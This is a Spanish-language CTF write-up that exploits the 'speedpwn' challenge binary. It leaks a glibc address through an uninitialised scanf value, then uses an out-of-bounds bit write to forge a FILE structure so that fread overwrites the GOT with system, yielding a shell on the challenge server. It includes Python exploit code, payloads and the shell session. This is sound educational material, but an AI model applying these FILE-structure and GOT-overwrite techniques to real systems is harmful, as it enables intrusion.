speedpwn
17 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Análisis del código fuente
Esta vez, tenemos el código fuente completo en C:
#include <stdio.h>
#include <stdlib.h>
unsigned long long number_of_games;
unsigned long long game_history;
unsigned long long seed;
FILE* seed_generator;
int cmp(unsigned long long a, unsigned long long b) {
if (__builtin_popcountll(a) != __builtin_popcountll(b)) {
return __builtin_popcountll(a) > __builtin_popcountll(b) ? 1 : 0;
}
for (size_t i = 0; i < 64; i++) {
if ((a & 1) != (b & 1)) {
return a & 1;
}
a >>= 1;
b >>= 1;
}
return 0;
}
void print_menu() {
puts("f) Fight bot");
puts("s) Simulate game");
puts("p) Print game history");
puts("r) Reseed bot");
printf("> ");
}
unsigned long long get_random_ull() {
return (unsigned long long) ((unsigned long long) rand() << 32) | (unsigned long long) rand();
}
void fight_bot() {
unsigned long long bot_num, player_num;
bot_num = get_random_ull();
printf("Bot plays %llu!\nPlayer plays: ", bot_num);
scanf("%llu%*c", &player_num);
if (cmp(player_num, bot_num)) {
puts("You win!");
*((unsigned long long*) &game_history + (number_of_games / 64)) |= ((unsigned long long) 1 << (number_of_games % 64));
} else {
puts("Bot wins!");
*((unsigned long long*) &game_history + (number_of_games / 64)) &= (~((unsigned long long) 1 << (number_of_games % 64)));
}
number_of_games++;
}
void simulate() {
unsigned long long bot_num, player_num;
printf("Bot number: ");
scanf("%llu%*c", &bot_num);
printf("Player number: ");
scanf("%llu%*c", &player_num);
printf("Simulation result: ");
cmp(bot_num, player_num) ? puts("Bot win!") : puts("You win!");
}
void print_game_history() {
for (size_t i = 0; i < number_of_games; i++) {
printf("Game %d: %s\n", (int) i + 1, (*((unsigned long long*) &game_history + (number_of_games / 64)) & (1 << (i % 64))) == 1 ? "Won" : "Lost");
}
}
void reseed() {
puts("Bot reseeded!");
fread((char*) &seed, 1, 8, seed_generator);
srand(seed);
}
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
seed_generator = fopen("/dev/urandom", "r");
}
int main(int argc, char* argv[]) {
char choice;
init();
reseed();
while (1) {
print_menu();
while ((choice = getc(stdin)), choice == '\n');
switch (choice) {
case 'f':
fight_bot();
break;
case 's':
simulate();
break;
case 'p':
print_game_history();
break;
case 'r':
reseed();
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}
Este programa nos permite pelear con un bot. El juego consiste en dos jugadores que envían un entero de 64 bits. El ganador es el que tiene más bits puestos a 1
. En caso de que ambos números tengan el mismo recuento de bits, gana el que tiene más bits en 1
como bits menos significativos.
Por ejemplo, 111...1
gana a 000...0
, y 1011...1
gana a 1101...1
. La función que maneja este proceso es cmp
:
int cmp(unsigned long long a, unsigned long long b) {
if (__builtin_popcountll(a) != __builtin_popcountll(b)) {
return __builtin_popcountll(a) > __builtin_popcountll(b) ? 1 : 0;
}
for (size_t i = 0; i < 64; i++) {
if ((a & 1) != (b & 1)) {
return a & 1;
}
a >>= 1;
b >>= 1;
}
return 0;
}
Tenemos dos posibilidades, una de ellas es fight_bot
, y la elección de bot es aleatoria:
void fight_bot() {
unsigned long long bot_num, player_num;
bot_num = get_random_ull();
printf("Bot plays %llu!\nPlayer plays: ", bot_num);
scanf("%llu%*c", &player_num);
if (cmp(player_num, bot_num)) {
puts("You win!");
*((unsigned long long*) &game_history + (number_of_games / 64)) |= ((unsigned long long) 1 << (number_of_games % 64));
} else {
puts("Bot wins!");
*((unsigned long long*) &game_history + (number_of_games / 64)) &= (~((unsigned long long) 1 << (number_of_games % 64)));
}
number_of_games++;
}
Aquí, podemos ganar o perder. El resultado se escribirá como un bit en game_history
. Observe que podemos decidir fácilmente ganar o perder enviando 111...1
o 000...0
.
Además, hay una escritura out-of-bounds (OOB) aquí, dado que podemos escribir más allá de game_history
, mientras podamos aumentar el valor de number_of_games
:
if (cmp(player_num, bot_num)) {
puts("You win!");
*((unsigned long long*) &game_history + (number_of_games / 64)) |= ((unsigned long long) 1 << (number_of_games % 64));
} else {
puts("Bot wins!");
*((unsigned long long*) &game_history + (number_of_games / 64)) &= (~((unsigned long long) 1 << (number_of_games % 64)));
}
Como game_history
es una variable global, tal vez podamos alterar las variables globales posteriores:
unsigned long long number_of_games;
unsigned long long game_history;
unsigned long long seed;
FILE* seed_generator;
La otra opción que tenemos es simular una pelea con simulate
, aquí podemos elegir ambos números para jugar:
void simulate() {
unsigned long long bot_num, player_num;
printf("Bot number: ");
scanf("%llu%*c", &bot_num);
printf("Player number: ");
scanf("%llu%*c", &player_num);
printf("Simulation result: ");
cmp(bot_num, player_num) ? puts("Bot win!") : puts("You win!");
}
A primera vista, esta función es inútil para la explotación. Pero ya lo veremos más adelante.
Hay una función más para mostrar el historial de las peleas:
void print_game_history() {
for (size_t i = 0; i < number_of_games; i++) {
printf("Game %d: %s\n", (int) i + 1, (*((unsigned long long*) &game_history + (number_of_games / 64)) & (1 << (i % 64))) == 1 ? "Won" : "Lost");
}
}
Sin embargo, esta función no funciona como se esperaba, debido al == 1
del final. Podría haber sido una buena función para obtener una especie de lectura OOB y filtrar algunas direcciones de memoria. Pero podemos concluir que esta función es inútil.
Es posible que también queramos usar reseed
, para renovar la semilla del PRNG:
void reseed() {
puts("Bot reseeded!");
fread((char*) &seed, 1, 8, seed_generator);
srand(seed);
}
No hay nada más que hacer. Solo hemos encontrado una escritura OOB, pero no podemos hacer nada sin fugas de memoria…
Configuración del entorno
Es posible que deseemos parchear el binario para que use la librería Glibc y el cargador proporcionados:
$ cp libc-2.39.so libc.so.6
$ patchelf --set-interpreter ld-2.39.so --set-rpath . chall
Depurando con GDB
Lo primero que podemos hacer es analizar la escritura OOB, para ver qué podemos alterar:
$ gdb -q chall
Loading GEF...
Reading symbols from chall...
(No debugging symbols found in chall)
gef> run
Starting program: /tmp/chall
warning: Expected absolute pathname for libpthread in the inferior, but got ./libc.so.6.
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
Bot reseeded!
f) Fight bot
s) Simulate game
p) Print game history
r) Reseed bot
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ec6a61 in read () from ./libc.so.6
gef> x/10gx &game_history
0x404088 <game_history>: 0x0000000000000000 0xa1833112f255d417
0x404098 <seed_generator>: 0x00000000004052a0 0x0000000000000000
0x4040a8: 0x0000000000000000 0x0000000000000000
0x4040b8: 0x0000000000000000 0x0000000000000000
0x4040c8: 0x0000000000000000 0x0000000000000000
Vemos que la estructura FILE
de seed_generator
se almacena en 0x4052a0
:
gef> x/60gx 0x4052a0
0x4052a0: 0x00000000fbad2488 0x0000000000405488
0x4052b0: 0x0000000000406480 0x0000000000405480
0x4052c0: 0x0000000000405480 0x0000000000405480
0x4052d0: 0x0000000000405480 0x0000000000405480
0x4052e0: 0x0000000000406480 0x0000000000000000
0x4052f0: 0x0000000000000000 0x0000000000000000
0x405300: 0x0000000000000000 0x00007ffff7faf4e0
0x405310: 0x0000000000000003 0x0000000000000000
0x405320: 0x0000000000000000 0x0000000000405380
0x405330: 0xffffffffffffffff 0x0000000000000000
0x405340: 0x0000000000405390 0x0000000000000000
0x405350: 0x0000000000000000 0x0000000000000000
0x405360: 0x00000000ffffffff 0x0000000000000000
0x405370: 0x0000000000000000 0x00007ffff7fad030
0x405380: 0x0000000000000000 0x0000000000000000
0x405390: 0x0000000000000000 0x0000000000000000
0x4053a0: 0x0000000000000000 0x0000000000000000
0x4053b0: 0x0000000000000000 0x0000000000000000
0x4053c0: 0x0000000000000000 0x0000000000000000
0x4053d0: 0x0000000000000000 0x0000000000000000
0x4053e0: 0x0000000000000000 0x0000000000000000
0x4053f0: 0x0000000000000000 0x0000000000000000
0x405400: 0x0000000000000000 0x0000000000000000
0x405410: 0x0000000000000000 0x0000000000000000
0x405420: 0x0000000000000000 0x0000000000000000
0x405430: 0x0000000000000000 0x0000000000000000
0x405440: 0x0000000000000000 0x0000000000000000
0x405450: 0x0000000000000000 0x0000000000000000
0x405460: 0x0000000000000000 0x0000000000000000
0x405470: 0x00007ffff7fad228 0x0000000000001011
Muy bien, entonces parece que podemos modificar esta estructura FILE
usando la escritura OOB. Sin embargo, necesitamos obtener una fuga de Glibc antes de intentar esto.
Obsérvese que el binario tiene Partial RELRO y no tiene PIE, por lo que podemos apuntar fácilmente a la GOT. Por ejemplo, intentaremos hacer que alguna función en la GOT se resuelve a system
y luego ejecutaremos system("/bin/sh")
.
Fugando direcciones de memoria
Después de mucho pensar, descubrí cuál era el propósito de simulate
. ¡Se supone que debe ser explotado para filtrar valores no inicializados en scanf
! Echemos un vistazo:
gef> break __isoc99_scanf
Breakpoint 1 at 0x7ffff7e0ae08
gef> break cmp
Breakpoint 2 at 0x40125e
gef> continue
Continuing.
s
Bot number:
Breakpoint 1, 0x00007ffff7e0ae08 in __isoc99_scanf () from ./libc.so.6
Estamos enviando un signo -
para evitar que scanf
escriba nada en $rsi
, simplemente deja el registro intacto:
gef> x/s $rdi
0x40206f: "%llu%*c"
gef> x/gx $rsi
0x7fffffffe728: 0x00007ffff7e405c2
gef> x 0x00007ffff7e405c2
0x7ffff7e405c2 <_IO_default_uflow+50>: 0x438b480f74fff883
gef> c
Continuing.
-
Player number:
Breakpoint 1, 0x00007ffff7e0ae08 in __isoc99_scanf () from ./libc.so.6
Vemos que en el primer scanf
tenemos $rsi = 0x7ffff7e405c2
, que es una dirección de Glibc. El segundo scanf
contiene una dirección de la pila (no es tan importante):
gef> x/s $rdi
0x40206f: "%llu%*c"
gef> x/gx $rsi
0x7fffffffe730: 0x00007fffffffe898
gef> continue
Continuing.
-
Simulation result:
Breakpoint 2, 0x000000000040125e in cmp ()
Y esos valores se envían a cmp
:
gef> p/x $rdi
$1 = 0x7ffff7e405c2
gef> p/x $rsi
$2 = 0x7fffffffe898
Por lo tanto, podemos usar simulate
como oráculo para encontrar el valor de $rsi
cuando se trata de una dirección de Glibc. Esta es la función que utilicé para eso en el exploit de Python:
def simulate_player(number: int) -> bool:
io.sendlineafter(b'> ', b's')
io.sendlineafter(b'Bot number: ', b'-')
io.sendlineafter(b'Player number: ', str(number).encode())
return b'You win!' in io.recvline()
La forma en que funciona cmp
hace que sea un poco difícil encontrar un oráculo binario. En primer lugar, debemos encontrar el número de bits establecidos en 1
, que es relativamente fácil:
for e in range(1, 64 + 1):
if simulate_player(2 ** e - 1):
break
Como se puede ver, solo aumentamos el número de bits hasta que ganamos. En este punto, sabremos que e
es el número de bits establecidos en 1
. A continuación, se me ocurrió este algoritmo después de varias pruebas:
known = 0
bit = 0
while known.bit_count() != e:
test = known
m1 = test + int(('1' * (e - test.bit_count())).zfill(64)[::-1], 2)
test |= (1 << bit)
m2 = test + int(('1' * (e - test.bit_count())).zfill(64)[::-1], 2)
if not simulate_player(m1) and not simulate_player(m2):
known |= 1 << bit
bit += 1
glibc.address = ((known & 0x7fffffffffff) | 0x7e0000000000) - 0x955c2
io.success(f'Glibc base address: {hex(glibc.address)}')
Por alguna razón, no es totalmente correcto porque es necesario arreglar algunos de los bits más significativos para tener el formato de una dirección de Glibc.Probablemente porque cmp
hace que el jugador pierda cuando los dos números son iguales.
La idea es probar dos enteros similares y ver si ambos pierden. Aquí hay algunos pasos con un ejemplo en 8 bits:
Target: 0010 1011
bit = 0
known = 0000 0000
m1 = 1111 0000 => Lose
m2 = 1110 0001 => Lose
bit = 1
known = 0000 0001
m1 = 1110 0001 => Lose
m2 = 1100 0011 => Lose
bit = 2
known = 0000 0011
m1 = 1100 0011 => Lose
m2 = 1000 0111 => Win
bit = 3
known = 0000 0011
m1 = 1100 0011 => Lose
m2 = 1000 1011 => Lose
bit = 4
known = 0000 1011
m1 = 1000 1011 => Lose
m2 = 0001 1011 => Win
bit = 5
known = 0000 1011
m1 = 1000 1011 => Lose
m2 = 0010 1011 => Win
bit = 6
known = 0000 1011
m1 = 1000 1011 => Lose
m2 = 0100 1011 => Lose
known = 0100 1011
Como se puede ver, no encuentra exactamente el valor objetivo, pero funciona con la dirección Glibc porque sabemos que el formato siempre es 0x00007f**********
.
Desarrollo del exploit
Una vez que hemos fugado Glibc, podemos continuar con un ataque de estructura FILE
usando la escritura OOB. Usé esta función para escribir un bit 0
o 1
(mediante 000...0
o 111...1
):
def fight(win: bool = False):
io.sendlineafter(b'> ', b'f')
io.sendlineafter(b'Player plays: ', b'18446744073709551615' if win else b'0')
assert (b'You win!' if win else b'Bot wins!') in io.recvline()
Ataque de estructura FILE
Necesitamos realizar un ataque de estructura FILE
porque es lo único que podemos modificar con la escritura OOB. La primera vez que traté con los ataques de estructura FILE
fue cuando hice FileStorage.
El ataque que haremos es en realidad el mismo que diseñé para FileStorage, que se explica en Play with FILE Structure - Yet Another Binary Exploit Technique, páginas 66 - 70.
La idea es que fread
nos permitirá escribir en la memoria, no solo en seed
, sino también en otros lugares siempre que los campos _IO_buf_base
y _IO_buf_end
tener algunas direcciones donde escribir, con alguna diferencia positiva. Revisemos la estructura de FILE
de seed_generator
:
gef> x/60gx 0x4052a0
0x4052a0: 0x00000000fbad2488 0x0000000000405488
0x4052b0: 0x0000000000406480 0x0000000000405480
0x4052c0: 0x0000000000405480 0x0000000000405480
0x4052d0: 0x0000000000405480 0x0000000000405480
0x4052e0: 0x0000000000406480 0x0000000000000000
0x4052f0: 0x0000000000000000 0x0000000000000000
0x405300: 0x0000000000000000 0x00007ffff7faf4e0
0x405310: 0x0000000000000003 0x0000000000000000
0x405320: 0x0000000000000000 0x0000000000405380
0x405330: 0xffffffffffffffff 0x0000000000000000
0x405340: 0x0000000000405390 0x0000000000000000
0x405350: 0x0000000000000000 0x0000000000000000
0x405360: 0x00000000ffffffff 0x0000000000000000
0x405370: 0x0000000000000000 0x00007ffff7fad030
0x405380: 0x0000000000000000 0x0000000000000000
0x405390: 0x0000000000000000 0x0000000000000000
0x4053a0: 0x0000000000000000 0x0000000000000000
0x4053b0: 0x0000000000000000 0x0000000000000000
0x4053c0: 0x0000000000000000 0x0000000000000000
0x4053d0: 0x0000000000000000 0x0000000000000000
0x4053e0: 0x0000000000000000 0x0000000000000000
0x4053f0: 0x0000000000000000 0x0000000000000000
0x405400: 0x0000000000000000 0x0000000000000000
0x405410: 0x0000000000000000 0x0000000000000000
0x405420: 0x0000000000000000 0x0000000000000000
0x405430: 0x0000000000000000 0x0000000000000000
0x405440: 0x0000000000000000 0x0000000000000000
0x405450: 0x0000000000000000 0x0000000000000000
0x405460: 0x0000000000000000 0x0000000000000000
0x405470: 0x00007ffff7fad228 0x0000000000001011
Obsérvese que el 3
significa que fread
tomará la información del descriptor de archivo número 3
. Incluso podemos modificar esto para poner un 0
, que es el descriptor de archivo de stdin
. Como resultado, podremos incluir datos arbitrarios.
Además, no importa si fread
se llama como fread((char*) &seed, 1, 8, seed_generator)
, porque podemos controlar la longitud para leer con _IO_buf_end - _IO_buf_base
.
Profundizando en el ataque de estructura FILE
Puede parecer mágico que escribamos datos arbitrarios solo modificando _IO_buf_end
y _IO_buf_base
. Pero no es magia, revisemos el código fuente relevante de Glibc (versión 2.39). Comenzaremos por fread
:
size_t
_IO_fread (void *buf, size_t size, size_t count, FILE *fp)
{
size_t bytes_requested = size * count;
size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
Esta función es solo una envoltura para _IO_sgetn
:
size_t
_IO_sgetn (FILE *fp, void *data, size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n);
}
Esta función _IO_sgetn
llama a una macro llamada _IO_XSGETN
:
/* The 'xsgetn' hook reads upto N characters into buffer DATA.
Returns the number of character actually read.
It matches the streambuf::xsgetn virtual function. */
typedef size_t (*_IO_xsgetn_t) (FILE *FP, void *DATA, size_t N);
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
Esta es solo una forma de llamar a una función desde una vtable. Para encontrar qué función es, podemos buscar xsgetn
y encontrar las funciones para objetos FILE
:
/* Jumptable functions for files. */
/* ... */
extern size_t _IO_file_xsgetn (FILE *, void *, size_t);
libc_hidden_proto (_IO_file_xsgetn)
Y aquí encontramos la función _IO_file_xsgetn
. Este es el código relevante:
size_t
_IO_file_xsgetn (FILE *fp, void *data, size_t n)
{
size_t want, have;
ssize_t count;
char *s = data;
want = n;
if (fp->_IO_buf_base == NULL)
{
/* ... */
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
/* ... */
}
else
{
if (have > 0)
{
/* ... */
}
/* ... */
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
/* ... */
}
}
return n - want;
}
El objetivo es llamar a __underflow
. Para esto, debemos tener un valor no nulo en fp->buf_base
y también want < fp->buf_end - fp->buf_base
. La función __underflow
verificará algunos bits de fp->_flags
:
int
__underflow (FILE *fp)
{
if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
return EOF;
if (fp->_mode == 0)
_IO_fwide (fp, -1);
if (_IO_in_put_mode (fp))
if (_IO_switch_to_get_mode (fp) == EOF)
return EOF;
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
}
if (_IO_have_markers (fp))
{
if (save_for_backup (fp, fp->_IO_read_end))
return EOF;
}
else if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
return _IO_UNDERFLOW (fp);
}
Y al final, llamará a IO_UNDERFLOW
, una macro que llamará a _IO_new_file_underflow
(para encontrar esta función, necesité usar un desensamblador para libc-2.39.so
y GDB, hasta que encontré el nombre de la función correcta):
int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;
/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;
if (fp->_flags & _IO_NO_READS)
{
/* ... */
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* ... */
}
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
/* ... */
}
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
/* ... */
}
fp->_IO_read_end += count;
if (count == 0)
{
/* ... */
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
Aquí, si nos fijamos fp->_flags
de la manera correcta, podremos ejecutar _IO_SYSREAD(fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base)
, que es una simple instrucción syscall
que nos da la primitiva de escritura.
También obsérvese que _IO_file_xsgetn
continuará con el bucle while
y la estructura FILE
tendrá los campos fp->_IO_read_end
y fp->_IO_read_ptr
actualizados. Al final esto significa que los 8
bytes (want
) indicados en fread
se escribirán en seed
desde fp->_IO_read_ptr
:
size_t
_IO_file_xsgetn (FILE *fp, void *data, size_t n)
{
size_t want, have;
ssize_t count;
char *s = data;
want = n;
if (fp->_IO_buf_base == NULL)
{
/* ... */
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
/* ... */
}
}
return n - want;
}
Usaremos esta estructuera FILE
falsa como payload:
fp = flat([
0xfbad2000, 0,
0, 0,
0, 0,
0, elf.got.fread,
elf.got.fread + len(payload), 0,
0, 0,
0, glibc.sym._IO_2_1_stderr_,
0, 0,
0, target + 0xe0,
0xffffffffffffffff, 0,
target + 0xf0, 0,
0, 0,
0xffffffff, 0,
0, glibc.sym._IO_file_jumps,
])
Los campos relevantes son:
fp->_flags
fp->_IO_buf_base
fp->_IO_buf_end
fp->_fileno
El resto se puede dejar como inicialmente (se pueden necesitar algunas direcciones Glibc y del binario). En realidad, podemos sobrescribir hasta fp->_fileno
, ya que el resto no se modificará, pero lo dejo en aras de la claridad, aunque el exploit llevará más tiempo terminar.
Estrategia de explotación
Dado que tenemos una primitiva de escritura arbitraria y el binario tiene Partial RELRO, realizaremos una sobrescritura de la GOT. La mejor opción es hacer que srand
sea system
, de manera que reseed
ejecute system("/bin/sh")
:
void reseed() {
puts("Bot reseeded!");
fread((char*) &seed, 1, 8, seed_generator);
srand(seed);
}
Sin embargo, recordemos que el fread
se realiza, por loque seed
todavía se llena con 8 bytes tomados de fp->_IO_read_ptr
. Esta es la GOT:
gef> got
----------------------------------------------------------- PLT / GOT - /tmp/chall - Partial RELRO -----------------------------------------------------------
Name | PLT | GOT | GOT value
------------------------------------------------------------------------- .rela.dyn -------------------------------------------------------------------------
__libc_start_main | Not found | 0x000000403fd8 | 0x7f3bdcf9d200 <__libc_start_main>
__gmon_start__ | Not found | 0x000000403fe0 | 0x000000000000
------------------------------------------------------------------------- .rela.plt -------------------------------------------------------------------------
puts | Not found | 0x000000404000 | 0x7f3bdcffabd0 <puts>
fread | Not found | 0x000000404008 | 0x7f3bdcff93f0 <fread>
__stack_chk_fail | Not found | 0x000000404010 | 0x000000401050 <.plt+0x30>
printf | Not found | 0x000000404018 | 0x7f3bdcfd30f0 <printf>
srand | Not found | 0x000000404020 | 0x7f3bdcfbd0f0 <srandom>
setvbuf | Not found | 0x000000404028 | 0x7f3bdcffb540 <setvbuf>
fopen | Not found | 0x000000404030 | 0x7f3bdcff8e50 <fopen64>
__isoc99_scanf | Not found | 0x000000404038 | 0x7f3bdcfd2e00 <__isoc99_scanf>
getc | Not found | 0x000000404040 | 0x7f3bdd001f60 <getc>
rand | Not found | 0x000000404048 | 0x7f3bdcfbd090 <rand>
Y este fue el payload que funcionó:
payload = p64(0x404088) + p64(glibc.sym.__stack_chk_fail) + \
p64(glibc.sym.printf) + p64(glibc.sym.system) + \
p64(glibc.sym.setvbuf) + p64(glibc.sym.fopen) + \
p64(glibc.sym.scanf) + p64(glibc.sym.getc) + \
p64(glibc.sym.rand) + p64(0) + \
p64(0) + p64(glibc.sym._IO_2_1_stdout_) + \
p64(0) + p64(glibc.sym._IO_2_1_stdin_) + \
p64(0) + p64(0) + \
b'/bin/sh\0'
Básicamente, seed
contendrá 0x404088
, y en 0x404088
encontraremos "/bin/sh\0"
. Además, la entrada de la GOT para srand
será system
. El resto están intactas, excepto por fread
(puesta a 0x404088
, pero no importa).
Este payload se envía cuando fread
utiliza nuestra estructura FILE
falsa, ya que fp->_fileno
se pone a 0
(stdin
):
io.sendlineafter(b'> ', b'r')
io.recvuntil(b'Bot reseeded!\n')
io.send(payload)
io.interactive()
Justo después de enviar el payload, fread
modificará la GOT y la función reseed
ejecutará system("/bin/sh")
después, entonces tendremos una shell:
$ python3 solve.py
[*] './chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process './chall': pid 2217831
[+] Glibc base address: 0x7f863880f000
[+] Writing FILE struct: Done
[*] Switching to interactive mode
$ whoami
rocky
Flag
Ahora lo lanzamos en la instancia remota:
$ python3 solve.py speedpwn.chals.sekai.team 1337
[*] './chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to speedpwn.chals.sekai.team on port 1337: Done
[+] Glibc base address: 0x7f08c3fc2000
[+] Writing FILE struct: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
ld-2.39.so
libc-2.39.so
$ cat flag.txt
SEKAI{congratz_you_beat_the_bot_and_hopefully_got_the_bounty!_1dee87}
El exploit completa se puede encontrar aquí: solve.py
.